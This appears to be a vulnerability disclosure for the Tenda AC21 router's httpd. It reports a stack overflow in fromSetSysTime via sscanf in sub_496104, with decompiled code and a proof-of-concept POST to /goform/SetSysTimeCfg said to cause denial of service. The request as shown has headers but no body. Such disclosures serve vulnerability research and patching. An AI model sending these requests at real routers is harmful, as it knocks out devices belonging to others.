



description

1. Vulnerability Details

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd , function fromSetSysTime

In function fromSetSysTime, it calls sub_496104(a1), the vulnerability is in this function.

```
void __fastcall fromSetSysTime(int a1)
{
    __int64 v1; // $v0
    int v2; // $v0
    int v3; // [sp+1Ch] [+1Ch]
    void *ptr; // [sp+20h] [+20h]
    int v5; // [sp+24h] [+24h]
    int v6; // [sp+24h] [+24h]
    char *v7; // [sp+28h] [+28h]

    v5 = 0;
    v3 = cJSON_CreateObject();
    v7 = (char *)websGetVar(a1, "timeType", "sync");
    if ( !strcmp(v7, "sync") )
    {
        v6 = sub_496104(a1);
        v1 = sub_4C9C40(v6);
    }
}
```

In $sub_496104(a1)$, it calls sscanf() and the v6, v7 is on the stack, so there is a buffer overflow vulnerability.

2. Recurring loopholes and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by qemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/SetSysTimeCfg HTTP/1.1

Host: 192.168.0.1

Content-Length: 754

Accept: */*

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.0.1

Accept-Encoding: gzip, deflate

Accept-Language: en,zh-CN;q=0.9,zh;q=0.8

Cookie: password=25d55ad283aa400af464c76d713c07adhyecvb

Connection: close
```

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

